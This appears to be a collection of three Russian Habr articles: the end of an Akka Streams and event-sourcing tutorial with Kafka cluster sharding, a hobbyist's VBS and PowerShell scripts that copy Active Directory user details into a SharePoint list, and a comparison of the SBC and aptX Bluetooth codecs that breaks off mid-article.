AcrtorSystem – это ключевой системный компонент Akka, вокруг которого и строится вся акторная модель и который позволяет создавать, взаимодействовать с группой акторов. Source.single – создает потоковый источник данных из одного элемента. В данном случае это просто строка. Sink.foreach создает приемник данных, а при помощи mapConcat мы добавляем этап обработки (Flow), который разбивает строку на слова и таким образом наш поток из одного элемента String превращается в поток из трех элементов String. Источник, обработчик и приемник соединяются вместе в RunnableGraph, который можно запустить при помощи метода run.
Пример выше написан при помощи так называемого fluent DSL. Его выразительности может не хватить для построения более сложных графов обработки данных. В этом случае на помощь приходит graph DSL, в котором мы вручную соединяем различные входы и выходы компонентов. Ниже – пример построения графа обработки при помощи graph DSL с той же самой логикой
```
RunnableGraph.fromGraph(GraphDSL.create() { implicit builder =>
import GraphDSL.Implicits._
val wordsSource = builder.add(Source.single("Hello akka stream!"))
val printSink = builder.add(Sink.foreach[String](println))
val process = builder.add(Flow[String].mapConcat(_.split(" ")))
wordsSource ~> process
process ~> printSink
ClosedShape
}).run()
```
Более подробно про graph dsl можно почитать тут: [Working with Graphs](https://doc.akka.io/docs/akka/current/stream/stream-graphs.html).
Если посмотреть внутрь объектов Source и Sink, то можно обнаружить большое количество методов, которые позволяют создавать различные источники и приемники данных: Source.fromIterator, Source.fromJavaStream, Source.cycle, Source.tick, Source.repeat, Source.future, Soutce.actorRef; Sink.headOption, Sink.lastOption, Sink.seq, Sink.collection, Sink.asPublisher, Sink.ignore, Sink.foreachAsync, Sink.actorRef, а также многие другие.
Но основным преимуществом akka stream, на мой взгляд, является [Alpakka project](https://doc.akka.io/docs/alpakka/current/index.html), который содержит достаточно большое количество совместимых с akka stream компонент для интеграции с различными источниками данных.
Также стоит отметить, что Akka Stream (в отличие от того же Spark) позволяет строить циклические графы. Это может быть очень полезно, чтобы строить цепочки обработки с обратной связью.
Akka event sourcing (typed persistence)
---------------------------------------
Чтобы разбираться с akka event sourcing, для начала нужно поговорить об akka persistence. [Akka persistence](https://doc.akka.io/docs/akka/current/persistence.html) – это механизм, позволяющий акторам сохранять свое состояние с целью его восстановления после перезапуска. Ключевыми элементами механизма являются:
* Command – команда. Набор запросов, которые принимает actor; в частном случае – это намерение изменить хранимое в actor состояние;
* Event – событие. Является производным от команды и описывает свершившееся изменение; события являются объектами хранения первого порядка, которые не могут быть изменены, а только добавлены;
* Snapshot – состояние actor в некоторый определенный момент времени; является производным результатом от применения некоторой логики к набору Event. Является частью механизма оптимизации, позволяющего восстанавливать состояние не обрабатывая все ранее сохраненные Event.
Для простейшей реализации persistent actor разработчику необходимо:
* описать логику обработки Command и преобразования их в Event (как правило, обработка – это предварительная валидация);
* описать логику обработки Event – то, как они будут влиять на изменения состояния актора;
* описать логику/периодичность сохранения Snapshot.
Весь механизм хранения, загрузки и правильного восстановления состояния Akka берет на себя. Стоит обратить внимание, что побочным эффектом от хранения Event вместо классического хранения состояния является тот факт, что мы можем легко исправить невалидное состоянии из-за ошибок в коде просто путем исправления программы и удаления всех Snapshot. В классическом подходе, когда мы по команде изменяем состояние в БД, нам приходится делать миграции данных и как-то догадываться о том, какое у нас должно было быть состояние.
Akka event sourcing – это абстракция, построенная поверх Akka persistence, позволяющая избавиться от части boilerplate (шаблонного, повторяемого, инфраструктурного) кода, добавляющая строгую типизацию в реализацию persistent actor и немного упрощающая интеграцию с Cluster Sharding.
Также стоит отметить, что данный механизм пропагандирует Event Sourcing подход. Мой опыт говорит, что большое количество людей не понимает до конца данную концепцию (а некоторые ее радикально отвергают). В интернете есть некоторое количество статей на эту тему, Akka предлагает нам ознакомиться с [Introducing Event Sourcing](https://docs.microsoft.com/en-us/previous-versions/msp-n-p/jj591559%28v=pandp.10%29) на MSDN и [Events As First-Class Citizens](https://hackernoon.com/events-as-first-class-citizens-8633e8479493) от Randy Shoup.
Со своей стороны хочу порекомендовать бесплатную группу курсов от Lightbend на тему [Reactive Architecture](https://academy.lightbend.com/courses?search_query=FILTER_TOPIC_REACTIVE_ARCHITECTURE) (не путать с реактивным программированием, это разные вещи). В 6 курсе достаточно неплохо раскрывается идея Event Sourcing, но чтобы более глубоко погрузиться в концепцию, стоит пройти все курсы с начала. Я получил большое удовольствие от прохождения курсов, а также лично наблюдал, как разработчики, не разделяющие принципы event driven архитектуры, проникались этими идеями в процессе изучения курсов.
Akka persistence (и Akka event sourcing, соответственно) содержат целый ряд [официальных](https://doc.akka.io/docs/akka/current/persistence-plugins.html) и [community](https://index.scala-lang.org/search?topics=akka-persistence) плагинов, которые позволяют хранить события и слепки состояний в различных источниках данных. Для того, чтобы подключить какой-либо из persistence plugin, как правило, достаточно всего лишь добавить соответствующую библиотеку в список зависимостей проекта и прописать несколько настроек в конфиге (id плагина, url к источнику данных и название схемы, в которой будут храниться данные).
Akka cluster sharding
---------------------
[Cluster sharding](https://doc.akka.io/docs/akka/current/typed/cluster-sharding.html) – это механизм Akka, призванный упростить взаимодействие между различными физическими нодами в распределенной системе и организовать масштабирование системы. Также данный механизм позволяет организовать совместное размещение (co-location) нескольких обработчиков для одного и того же события в рамках одного физического шарда. Это необходимо для того, чтобы избежать лишней пересылки данных между разными shard node.
В нашем примере мы попытаемся организовать размещение actor, отвечающих за хранение state конкретной сущности на том же shard node, на которой происходит чтение и обработка kafka партиции с данными по этой же сущности.
Другим словами, основной поток данных с событиями по сущностям записывается в топик кафки, при этом партиционирование данных при записи осуществляется по id сущности. Таким образом, события по одной и той же сущности гарантированно будут попадать в одну и ту же партицию топика kafka. После запуска нескольких экземпляров нашего приложения каждый из них подпишется на определенные партиции топика (стандартное поведение для kafka consumer group) и, соответственно, все события по одной и той же сущности будут всегда попадать на одну и туже shard node. Обработка такого события будет происходить на этой же машине. В процессе обработки нам потребуется обращаться к actor, отвечающему за хранение состояния сущности из события. При помощи cluster sharding мы постараемся заставить Akka размещать данный actor на той же shard node, где происходит обработка.
Akka stateful streaming
-----------------------
Пример демо-проекта, созданного для данной статьи, можно посмотреть в github репозитории [akka-stateful-streaming](https://github.com/sd1ver/akka-stateful-streaming).
Мы построим простую real-time offering систему для бюро кредитных историй. Согласно википедии, бюро кредитных историй — организация, занимающаяся оказанием услуг по формированию, обработке и хранению кредитных историй, а также по предоставлению кредитных отчетов. Это организация, в которую банки и различные кредитные организации должны на регулярной основе передавать всю информацию о кредитах клиентов банка. Одной из услуг, которую могло бы предоставлять бюро кредитных историй, это информирование банка об изменениях платежеспособности их клиентов, например, с целью рефинансирования кредита или предложения нового кредита.
В данном примере у нас будет два потока событий. Первый и основной поток – это событие с изменением кредитных показателей:
```
case class CreditAccountIndicator(
accountId: Long,
bankId: String,
payment: BigDecimal, // размер платежа
debtAmount: BigDecimal, // размер задолженности
overdueAmount: BigDecimal // размер просроченной задолжности
)
```
Второй поток событий – это настройки порогов по показателям от банка. Очевидно, что это slowly changing dimension – данные настройки будут меняются редко, по сравнению с основным потоком данных.
```
case class BankAlertSettings(
bankId: String,
paymentThreshold: Option[BigDecimal], //настройка порога по платежу
debtAmountThreshold: Option[BigDecimal], //настройка порога по задолженности
overdueAmountThreshold: Option[BigDecimal] //настройка порога по просрочке
)
```
Согласно [данным ЦБ РФ](http://www.cbr.ru/banking_sector/credit/FullCoList/) в России всего 763 кредитных организаций. И для нас не составит большой проблемы запустить 763 actor, каждый из которых будет обслуживать и хранить состояние настройки конкретного банка.
В результате обработки основного потока данных мы хотели бы получить уведомления о превышении пороговых показателей клиентом банка.
```
case class AlertEvent(accountId: Long, bankId: String, message: String)
```
Давайте начнем с описания actor, который будет хранить наши настройки. Первым делом нам нужно определить команду, при помощи которой мы будем обновлять состояние.
```
final case class UpdateState[R](data: R, replyTo: ActorRef[StateUpdated[R]]) extends Command[R]
case class StateUpdated[R](data: Option[R]) extends BankAlertSerializable
```
Здесь в качестве data будет само значение настройки, а replyTo – это адрес, на который нужно будет отправлять ответ об успешном обновлении state. StateUpdated – это ответ на команду обновления, в данном примере его содержимое не несет никакой пользы. Для нас будет важен сам факт того, что обновление состояния прошло успешно.
Далее определим команду для запроса настроек у actor.
```
final case class GetState[R](replyTo: ActorRef[StateAnswer[R]]) extends Command[R]
case class StateAnswer[R](data: Option[R]) extends BankAlertSerializable
```
Единственный параметр команды replyTo – это адрес, на котором отправитель ожидает ответа StateAnswer.
Состояние нашего actor будет описываться простым классом с единственным опциональным полем. Изначально state инициализируется значением None.
```
final case class State[R](value: Option[R]) {
def update(data: R): State[R] = copy(value = Some(data))
}
```
Опишем логику обработки наших команд:
```
def handleCommand(state: State[R], command: Command[R]): Effect[Event[R], State[R]] = {
command match {
case UpdateState(data, replyTo) =>
val event = Event(data)
Effect.persist(event).thenReply(replyTo)(s => StateUpdated(s.value))
case GetState(replyTo) =>
val answer = StateAnswer(state.value)
log.info(s"Answer state ${answer.data}")
Effect.reply(replyTo)(answer)
}
}
```
Если к нам пришла команда обновления состояния UpdateState, то мы просто сформируем Event и вернем директиву, которая сначала сохранит Event и затем отправит пересчитанный state (настройку) по адресу из команды. Тут надо учитывать, что после сохранения Event автоматически запускается обработчик событий, который в нашем случае обновляет state.
Если к нам пришла команда на запрос state, то мы просто возвращаем в ответ текущее значение.
Ну и наконец простейший обработчик событий:
```
def handleEvent(state: State[R], event: Event[R]): State[R] = {
state.update(event.data)
}
```
На каждое событие мы просто перезаписываем state. Очень важно, чтобы логика данного обработчика была без побочных эффектов, потому что эта логика обработки будет вызываться для сохраненных событий каждый раз после перезапуска системы. В данном примере для простоты опущен механизм создания и восстановления состояния из snapshot, но я уверен, что пытливый читатель с легкостью с ним разберется по [официальной документации](https://doc.akka.io/docs/akka/current/typed/persistence-snapshot.html).
В трейте StreamSources описаны две достаточно стандартные функции создания Source и Sink для топиков kafka с чтением offset на источнике и commit offset на приемнике. То есть каждое прочитанное сообщение из топика для нас обогащено offset в виде akka.kafka.ConsumerMessage.Committable, которое мы вынуждены будем передавать по всем этапам обработки вместе с данными. Данный consumer offset для исходного топика будет сохранен в kafka (committed) вместе с отправкой сообщения в результирующий топик.
Отдельное внимание стоит обратить на функцию createShardedKafkaSource. Помимо того, что она создает вполне обычный sourceWithOffsetContext, она также связывает наш state actor с consumer группой при помощи [akka-stream-kafka-cluster-sharding](https://doc.akka.io/docs/alpakka-kafka/current/cluster-sharding.html).
KafkaClusterSharding.messageExtractor – механизм, который на основании id нашей сущности и количества партиций в топике определяет shardId, на котором должен работать наш state actor. ExternalShardAllocationStrategy занимается ребалансировкой сущностей по shard node. А kafkaSharding.rebalanceListener реагирует на изменение подписок на партиции топика для текущей shard node (при запуске и остановке новых экземплярова приложения) и рассылает изменения всем членам кластера.
Честно говоря, меньше всего уверен в том, что правильно понимаю особенности работы данного механизма. С радостью выслушаю ваши комментарии и замечания.
Для чтения и обновления state в классе StateInterractor объявлены два вспомогательных метода.
```
def stateRequestAsync(
event: CreditAccountIndicator
): Future[DataWithState] = {
val ref = sharding.entityRefFor(typeKey, event.bankId)
ref.ask[StateAnswer[BankAlertSettings]](GetState(_)).map(ans => DataWithState(ans.data, event))
}
def stateUpdateAsync(
state: BankAlertSettings
): Future[StateUpdated[BankAlertSettings]] = {
val key = state.bankId
val ref = sharding.entityRefFor(typeKey, key)
ref.ask[StateUpdated[BankAlertSettings]](actor => UpdateState(state, actor))
}
```
* извлекаем из каждого сообщения bankId
* при помощи ClusterSharding создаем ActorRef для нашей sharded entity
* формируем команду и отправляем запрос при помощи ask pattern.
Каждая функция нам возвращает Future с ответом от state actor. Насколько я понимаю, в момент отправки запроса механизм ClusterSharding либо определит реальный адрес нашего actor, либо инициирует его создание.
Стоит отметить, что первое обращение к нашему state actor может занять некоторое время. Поскольку наш actor основан на Akka persistence, то при старте он должен вычитать и обработать все ранее сохраненные Event из хранилища. Все последующие обращения должны происходить достаточно быстро, поскольку данные уже будут храниться в памяти.
В случае необходимости, можно попробовать оптимизировать эти первые обращения предварительной командой чтения state по всем ранее прочитанным bankId. Список ранее встреченных bankId можно при обработке отправлять в отдельный compacted topic (топик который хранит сообщения только с уникальными ключами). При старте приложения, до запуска всех обработчиков, можно вычитывать такой топик с самого начала и отправлять GetState по каждому bankId.
Все, что нам осталось – это создать два Akka stream. Первый для чтения настроек банков.
```
val settingsSource = stateCommandSource("bank-settings") // 1
val offsetSink = Committer.sink(committerSettings)
val settingsComplete = settingsSource
.map(r => r.value.parseJson.convertTo[BankAlertSettings]) // 2
.mapAsync(1)(stateInterractor.stateUpdateAsync) // 3
.asSource
.map { case (result, committable) =>
log.info(s"State updated to ${result.data}") // 4
committable
}
.toMat(offsetSink)(Keep.right) // 5
.run()
```
1. Создаем settingsSource, который будет вычитывать все сообщения из топика с настройками банков bank-settings;
2. Преобразуем каждое json сообщение из топика в case class BankAlertSettings;
3. Асинхронно отправляем запрос на изменение state;
4. Логируем ответ на запрос сохранения state;
5. Отправляем offset исходного сообщения в offsetSink, который просто закоммитит offset в исходном топике bank-settings.
Второй стрим будет обрабатывать события изменения показателей кредитной истории.
```
val indicatorsSource = createShardedKafkaSource(sharding, entity, "credit-indicators") // 1
val indicatorsComplete = indicatorsSource
.map(r => r.value.parseJson.convertTo[CreditAccountIndicator]) // 2
.mapAsync(1)(stateInterractor.stateRequestAsync) // 3
.map(calcAlerts) // 4
.asSource
.map(toEnvelope) // 5
.toMat(dataSink)(Keep.right) // 6
.run()
```
1. Создаем indicatorsSource, который будет вычитывать все сообщения из топика с показателями credit-indicators. Поскольку мы знаем, что это будет основной нагруженный топик, то инициализируем шардирование нашей sharding entity именно относительно consumer данного топика;
2. Преобразуем каждое json сообщение из топика в case class CreditAccountIndicator;
3. Отправляем асинхронный запрос к state actor и получаем набор пар: показатели и текущее состояние настроек;
4. На основе полученных пар рассчитываем уведомления по показателям, которые упали ниже порога;
5. Преобразуем каждое сообщение в ProducerMessage.Envelope;
6. Отправляем их в dataSink.
Немного прокомментирую функцию расчета уведомлений о выходе значений за пороговые.
```
def calcAlerts(dataWithState: DataWithState): Either[Unit, AlertEvent]
```
Либо она возвращает уведомление AlertEvent в случае превышения порога, либо Unit, если порог не был превышен. Такой возвращаемый результат нам нужен, для того, чтобы в обоих вариантах закоммитить offset в исходном топике credit-indicators. Если нам из функции вернулся Unit, то мы его просто преобразуем в Envelope событие коммита offset:
```
ProducerMessage.passThrough(committable)
```
Если же нам вернулся AlertEvent, то мы его преобразуем в Envelope с json сообщением для топика client-alerts и CommitableOffset для исходного топика credit-indicators.
```
def alertToEnvelope(committable: Committable)(alert: AlertEvent): Envelope[String, String, Committable] = {
val message = alert.toJson.compactPrint
val record = new ProducerRecord[String, String](alertTopic, message, alert.bankId)
ProducerMessage.single(record, committable)
}
```
В репозитории проекта есть [docker-compose](https://github.com/sd1ver/akka-stateful-streaming/blob/main/docker-compose.yml) для запуска kafka и MongoDB (используется для хранения events & snapshots). Также есть два файла с настройками для запуска разных экземпляров приложения: [app1.conf](https://github.com/sd1ver/akka-stateful-streaming/blob/main/app1.conf) и [app2.conf](https://github.com/sd1ver/akka-stateful-streaming/blob/main/app2.conf). Для того, чтобы добавить ещё экземпляры, достаточно прописать новый незанятый адрес/порт в akka.remote.artery.canonical.\* и добавить новую node в akka.cluster.seed-nodes.
Хочу также отметить, что текущее решение имеет одно явное ограничение – весь state должен умещаться в памяти приложения. В нашем примере state едва ли занимает 1 килобайт, а количество таких экземпляров будет измеряться тысячами, что в сумме едва ли превысит отметку в несколько мегабайт.
Уважаемые читатели, прошу вас поделиться в комментариях информацией о том, какими фреймворками пользовались вы для решения stateful stream processing задач? | https://habr.com/ru/post/570012/ | null | ru | null |
# Аудит пользователей в AD через VBS с занесением в SharePoint при помощи PowerShell
##### Добрый день наблюдатели НЛО
Хотел описать, как собирал информацию о пользователях из AD и затем размещал информацию на SharePoint для удобочитаемости и в любой момент посмотреть о том, или ином пользователе нужную для нас информацию.
Опишу просто, так как всё оно было…
Поставлена задача собрать из AD информацию о пользователях что можно выдернуть и определенные свои цели.
Из того что имелось: был выбран VBS для сбора информации о пользователях через LDAP, собираем все в простой текстовый файл (так как сбор происходит в нескольких сегментах разделенных между собой), файлы собираются в одном месте и затем с помощью PowerShell размещаем на подготовленном сайте SharePoint.
```
On Error Resume Next
Dim oQuery
Dim objConnection
Dim objCommand
Dim objRecordSet
Dim strMember
Dim strAC
Dim arrMember
' сюда сохраним всю информацию о пользователях
logfile = "users-lvs.txt"
Set objFSO = CreateObject("Scripting.FileSystemObject")
oQuery = ";" & \_
"(objectCategory=user)" & \_ ";distinguishedName,name,sAMAccountname,mail,memberOf,userAccountControl,description;subtree"
' выше перечислены поля из которых именно нам нужна информация о пользователе
Set objConnection = CreateObject("ADODB.Connection")
Set objCommand = CreateObject("ADODB.Command")
objConnection.Open "Provider=ADsDSOObject;"
objCommand.ActiveConnection = objConnection
objCommand.CommandText = oQuery
Set objRecordSet = objCommand.Execute
' если нет файла - создаем, если есть - перезаписываем
if objFSO.FileExists(logfile) then
Set objFile = objFSO.OpenTextFile(logfile, 2)
objFile.Write ""
else
Set objFile = objFSO.CreateTextFile(logfile)
objFile.Close
Set objFile = objFSO.OpenTextFile(logfile, 2)
objFile.Write ""
end if
objFile.Close
' начинаем сбор, пока не закончатся объекты
While Not objRecordSet.EOF
strMember = objRecordSet.Fields("memberOf")
strStr = ""
For i = 0 To UBound(strMember)
' переменная где хранится длина символов до запятой
liluka = InStr(2, strMember(i), ",", vbTextCompare)
' все группы делаем в одну строку
strStr = strStr & Right(Left(strMember(i), liluka - 1), liluka - 4) & ", "
Next
arrOpis = objRecordSet.Fields("description")
strOpis = ""
For i = 0 To UBound(arrOpis)
strOpis = strOpis & arrOpis(i) & ", "
Next
' проверка признака отключен ли пользователь
Select Case objRecordSet.Fields("userAccountControl")
Case 512
strAC = "Нет"
Case 514
strAC = "Да"
Case 66048
strAC = "Нет"
Case 66050
strAC = "Да"
End Select
' запись всей информации в файл
Set objFile = objFSO.OpenTextFile(logfile, 8)
objFile.WriteLine objRecordSet.Fields("sAMAccountname") & ";1" & \_
objRecordSet.Fields("name") & ";2" & \_
objRecordSet.Fields("mail") & ";3" & \_
strStr & ";4" & strAC & ";5" & strOpis & ";6ЛВС"
objFile.Close
objRecordSet.MoveNext
Wend
objConnection.Close
```
Из кода видно что в конце строки дописывается ";6ЛВС", как уже говорил выше сегментов у нас несколько и это первый из них ЛВС. С признаком отключен ли пользователь не стал долго думать и взял 4 встречающихся у нас значения, если усложнить жизнь и копаться то можно по битам читать переменную…
Что бы скрипт PowerShell понимал где какая информация находится, не придумал ни чего лучше чем как через точку с запятой ставить цифру обозначающую индекс определенной информации.
Не профессионал, а всего лишь любитель кода я, как программировать, так и анализа/разбора.
Собственно сам код PowerShell:
```
# заполнение страницы на шарепойнт информацией о пользователях из тхт файлов, построчно
write-host open Sharepoint from USERS
# sharepoint
$env:SPpath = "${env:CommonProgramFiles}\Microsoft Shared\web server extensions\12\"
[System.Reflection.Assembly]::LoadFrom("$env:SPPath\ISAPI\Microsoft.SharePoint.dll")
write-host open web
# открываем web
$nsite="http://my_site/sites/MonitorUser"
$SpSite = New-Object -TypeName "Microsoft.SharePoint.SPSite" -ArgumentList $nsite;
$spweb=$spsite.OpenWeb();
write-host open Sharepoint list
# открываем список
$nlist="http://my_site/sites/MonitorUser/Lists/List5/AllItems.aspx"
$splist=$spweb.getlist($nlist);
# очистим страницу
write-host clearing list...
$iCnt = $splist.Items.Count;
#$icnt;
for ($jj=1; $jj -le $iCnt; $jj++){
$splist.Items.Delete(0);
}
write-host clearing list Done
# перебираем информацию во всех тхт файлах, какие подходят под маску
write-host Processing log files...
foreach ($file in $(get-childitem 'D:\scripts\work\' -include users*.txt -recurse))
{
$hostout = $file.FullName + "..."
Write-Host $hostout
$fl = get-content $file.FullName;
# $fl;
for ($i=1; $i -lt $fl.Count; $i++)
{
$st1 =$fl[$i];
# делаем переменные наших признаков определенных данных
$ind1 = $st1.IndexOf(";1")
$ind2 = $st1.IndexOf(";2")
$ind3 = $st1.IndexOf(";3")
$ind4 = $st1.IndexOf(";4")
$ind5 = $st1.IndexOf(";5")
$ind6 = $st1.IndexOf(";6")
$stLogin = $st1.substring(0,$ind1)
$stUserName = $st1.substring($ind1+2,$ind2-$ind1-2)
$stMail = $st1.substring($ind2+2,$ind3-$ind2-2)
$ind7 = $ind4-$ind3
if ($ind7 -eq 2)
{
$stGroup = "Нет групп"
}
else
{
$stGroup = $st1.substring($ind3+2,$ind4-$ind3-4)
}
$ind7 = $ind6-$ind5
if ($ind7 -eq 2)
{
$stOpis = ""
}
else
{
$stOpis = $st1.substring($ind5+2,$ind6-$ind5-4)
}
$stBlock = $st1.substring($ind4+2,$ind5-$ind4-2)
$stSeg = $st1.substring($ind6+2,3)
# создаем запись на странице шарепойнт с нашими данными
$NewItem = $SpList.Items.Add();
$NewItem["Логин"] = $stLogin;
$NewItem["Полное имя"] = $stUserName;
$NewItem["e-mail"] = $stMail;
$NewItem["Группы"] = $stGroup;
$NewItem["Отключен"] = $stBlock;
$NewItem["Сегмент"] = $stSeg;
$NewItem["Описание"] = $stOpis;
$NewItem.Update();
}
}
write-host Processing log files DONE
$spweb.Dispose();
$spsite.Dispose();
write-host Program END
```
Теперь после того как собрали тхт в одном месте, запускаем батник
```
cscript users-lvs.vbs
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe "& 'D:\scripts\work\users.ps1'"
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe "& 'D:\scripts \work\pk.ps1'"
```
Так как наш сайт выполняется в сегменте ЛВС то заодно и обновляется у нас информация по данным пользователям. И как вы могли заметить, рабочий скрипт собирает информацию по компьютерам (ОС, версия, пак, описание, когда включался), но там все по аналогии как с пользователями.
Самое долгое, что занимает во всем, это – очищение страницы с информацией (примерно 2-3 минуты). Если страницы чисты, то сбор и обработка нескольких файлов в общей сложности занимает не более 30 секунд, 700-800 записей.
На самом деле в LDAP много лежит информации и свой рабочий скрипт дополнил тем, что он смотрит когда пользователь заходил последний раз а так же когда менял пароль крайний раз. В WMI есть «directory\LDAP» и там в принципе можно найти много интересной информации.
P.S. На быстро руку набросал, рад буду любой критике, а лучше советам как улучшить, где какие моменты не нравятся и почему, аргументировав это… | https://habr.com/ru/post/158183/ | null | ru | null |
# Беспроводные технологии передачи звука на базе Bluetooth: что же лучше?
С развитием технологий так привычные всем «ламповые» аналоговые наушники уходят в историю – их всё больше вытесняют беспроводные собратья на базе Bluetooth.
Современные смартфоны лишаются привычного разъёма в угоду влаго- и пылезащищённости.
Разработчики выпускают всё новые версии протокола Bluetooth и всё новые версии кодеков, обещая «быстрее, выше, сильнее» — меньшие задержки в воспроизведении и лучшее качество.
Настолько ли всё хорошо? Давайте посмотрим.
Введение
--------
Я не буду углубляться в техническую реализацию протоколов, а также в скучные спецификации. Уважаемый [ValdikSS](https://habr.com/users/valdikss/), который в большой степени выступил вдохновителем и даже научным консультантом в этой статье, готовит исчерпывающий материал касательно кодеков – и там всё будет изложено куда более подробно и технически верно.
Рассказать я хочу в большей степени о личном опыте. Ну и немножко занимательной (скучной?) практики.
Полтора года назад я загорелся идеей aptX. Да, я прочитал массу обзоров наподобие [этого](https://habr.com/company/pult/blog/418593/) и поверил во все эти технические навороты и возможности. Родился ребёнок – и очень хотелось ночью с женой смотреть передачи в наушниках, не создавая шума и не будя никого в доме.
Во что же это вылилось?
Качество
--------
Начнём с цифр и фактов (привет, Википедия!)
**SBC** – старый добрый кодек, обязательный при соблюдении стандарта A2DP. Кодек – результат работы Франса де Бонта *(F. de Bont, M. Groenewegen and W. Oomen, «A High Quality Audio-Coding System at 128 kb/s», 98th AES Convention, Febr. 25-28, 1995)* и использования алгоритмов, описанных в [патенте EP-0400755B1](https://patents.google.com/patent/EP0400755A1/en). Примечательно, что авторы патента разрешают бесплатное использование SBC только в приложении Bluetooth, тем не менее патент истёк 2 июня 2010 года. Поскольку стандарт A2DP весьма распространён, крайне трудно найти наушники или колонки, в которых не было бы поддержки SBC.
Кодек обеспечивает частоту дискретизации 16, 32, 44.1, 48 кГц со скоростью потока 10-1500 кбит/с. Да, Вы не ослышались. До 1500 кбит/с. В кодеке просто нет лимита по битрейту. Но об этом – позже.
Кодек **aptX** [разработан в 1988 году в Королевском Университете в Белфасте](https://patents.google.com/patent/EP0398973B1/en). Да, до Bluetooth ещё было ещё порядка десятка лет, так что кодек использовался в профессиональной звуковой аппаратуре. В настоящий момент права принадлежат компании Qualcomm, а потому использование требует лицензирования и лицензионных отчислений. По состоянию на 2014 год стоимость приблизительно такова: единовременный платёж $6000 и ≈$1 за каждое выпущенное устройство для партий до 10000 устройств. По этой причине многие устройства с чипами Snapdragon 835, 845, 821, 820, 810, 805, 801, 800, 650, 615, 410 вполне возможно и поддерживают aptX, но он там не активирован, поскольку лицензия не была приобретена. Об этом – также ниже.
При разрядности 16 бит и частоте дискретизации 48 кГц кодек может обеспечивать скорость потока 384 кбит/с (dual channel).
[Список продуктов, официально поддерживающих aptX](https://www.aptx.com/products?field_aptx_type_tid=482). На Aliexpress можно найти очень много неведомых систем с поддержкой aptX, но будьте готовы к тому, что на поверку там окажется тот же старый добрый SBC – и не более.
**aptX HD** – тот же самый кодек, но с другим профилем кодирования, имеет скорость потока 576 кбит/с, поддержку частоты дискретизации до 48 кГц и разрядность до 24 бит. Некоторые называют этот кодек aptX Lossless – но это полный бред хотя бы потому, что в настоящий момент невозможно достигнуть значения потока, который мог бы переносить lossless-данные. Особым преимуществом этого кодека регулируемая задержка кодирования, которая может снижаться до 1 мс при частоте дискретизации 48 кГц. Также кодек крайне выгоден с позиции загрузки процессора, в чём выражается преимущество по сравнению с МР3 и ААС.
[Список продуктов, официально поддерживающих aptX HD](https://www.aptx.com/products?field_aptx_type_tid=483). Он достаточно невелик.
**aptX Low latency** (или LL) – специальная версия кодека, позволяющая снизить время задержки звука до менее 40 мс. [Список продуктов, официально поддерживающих aptX LL](https://www.aptx.com/products?field_aptx_type_tid=484).
Вот она. Именно эта картинка в своё время купила меня с потрохами. Задержки! Ведь кому захочется слышать звук взрыва в каком-то боевике, крик монстра в ужастике или рёв толпы на футбольном матче, когда всё уже закончилось?
Но так ли всё это на самом деле?
Увы, нет.
Как и в любом маркетинговом материале, цифры притянуты за уши. Задержка во многом зависит от буферизации в системе и реализации кодека. Так, задержка с SBC вполне может быть на уровне менее 40 мс, что принимая во внимание стандарты телевизионного вещания (+40 мс… −60 мс) – вполне допустимо.
Резюмируя:
1. Ни один существующий кодек не может быть лучше проводной технологии, поскольку ни один кодек не позволяет достичь истинного сжатия без потерь.
2. Самым популярным кодеком является SBC. Он же – наиболее гибок в настройках. И несмотря на то, что aptX был выпущен ранее, он не смог побить популярности SBC, видимо, из-за бесплатности последнего.
3. Качество звука крайне зависит от реализации кодека, а также от аппаратного исполнения наушников/колонок вообще – если сама по себе колонка слабая, то качество не улучшишь ни одним кодеком. Поэтому в дальнейшем, сравнивая качество, мы будем говорить о воспроизведении одного и того же контента от одного и того же источника на одних и тех же колонках/наушниках, но с различными кодеками.
Практические и очень субъективные итоги
---------------------------------------
Информация базируется на уже упомянутом полуторагодовом опыте эксплуатации, сравнения и привлечения сторонних слушателей.
Опыт базируется на прослушивании lossless на плеере SONY Walkman NWZ-A17, где кодек можно выбирать, а также на просмотре различных передач с выводом звука посредством Avantree Priva III.
Наушников было трое: Sennheiser PMX 60, Koss Porta Pro и Koss UR-20.
В качестве приёмников беспроводного сигнала использовались Jabra BT3030 (SBC) и Avantree Clipper Pro (aptX).
Также использовалась колонка Voombox Outdoor (SBC) и наушники с костной проводимостью Aftershokz Trekz Titanium (aptX).
Все эквалайзеры и улучшатели отключались — и это важно.
Итого:
1. Качество проигрываемого звука при проводном подключении — всегда лучше. Это без сомнения.
2. Разницу между SBC и aptX услышать крайне затруднительно — и только в случае некоторых типов музыки. Например, автор статьи чётко слышал разницу на соло виолончелей в классических композициях, при этом для скрипки и инструментов низких частот разница была менее уловима. На современных жанрах — поп, электронная музыка и рок — разницу не слышно. В ряде случаев субъективно казалось, что SBC лучше передаёт звук, чем aptX.
3. Задержку между SBC и aptX можно заметить только если подключится к одному источнику и разные приёмники вставить в разные уши (ну левый канал — SBC, а правый — aptX к примеру). Задержку с картинкой увидеть практически нереально, а потому история, что aptX предназначен для динамичных сцен и контента — миф.
4. Удивление вызвало качество звучания на довольно дешёвых и «не именитых» Voombox Outdoor. Видимо, это и есть удачная реализация SBC, о которой говорилось выше.
5. Совершенно непонятна реализация aptX в наушниках с костной проводимостью – технология весьма специфична, а потому потери в качестве значительны из-за самой технологии. Принимая во внимание малый диапазон «дальности» работы устройства, крайне плохую реализацию сопряжения с двумя устройствами могу констатировать, что Aftershokz – компания, которая больше вкладывает в маркетинг, чем в разработку.
Не спорю, что если подключать всяческие спектральные анализаторы и прочее — можно и нужно увидеть разницу. Но человеческое ухо, а ещё хуже — среднестатистическое человеческое ухо — не спектральный прибор, а потому все эти нюансы не слышит.
Практика: исправляем то, что можно исправить
--------------------------------------------
### Часть 1. Включаем aptX
Как уже было сказано, в некоторых устройствах использование aptX отключено, вероятно, во избежание патентных преследований.
Этот вопрос можно решить достаточно просто – подсунув устройству библиотеки для реализации работы кодека и прописав возможность работы с этим кодеком в build.prop.
На просторах интернета имеется большое количество решений такого характера. Я взял на себя смелость объединить их в одно, при этом реализовав в виде модуля для Magisk. Да, я очень люблю этот проект и считаю, что реализация изменений в системе в виде модулей Magisk – лучше и безопасное решение с возможностью сохранения системы максимально в первозданном виде и лёгким способом отката назад.
Модуль можно скачать [отсюда](https://www52.zippyshare.com/v/jJDY0aEC/file.html). Да, я знаю про гитхаб. И нет, пока у меня нет времени туда его выкладывать.
Записи в build.prop, включающие aptX, а при возможности – и aptX HD, будут эмулироваться модулем автоматически.
### Часть 2. Повышаем битрейт SBC
